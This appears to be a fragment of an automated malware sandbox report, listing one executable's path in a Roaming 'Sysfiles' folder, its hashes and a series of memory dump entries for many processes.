C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/612-252-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1424-253-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1424-256-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1316-257-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1316-260-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/592-261-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/592-264-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/744-265-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/744-268-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/364-269-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/364-272-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1180-273-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1180-276-0x0000000140000000-0x0000000140B75000-memory.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1584-277-0x0000000000000000-mapping.dmp

memory/1584-280-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1788-281-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1788-284-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1764-285-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1764-288-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1088-289-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1088-292-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/676-293-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/676-296-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1496-297-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1496-300-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1928-301-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1928-304-0x0000000140000000-0x0000000140B75000-memory.dmp

memory/1808-305-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

MD5 02569a7a91a71133d4a1023bf32aa6f4
SHA1 0f16bcb3f3f085d3d3be912195558e9f9680d574
SHA256 8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512 534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

memory/1780-309-0x0000000000000000-mapping.dmp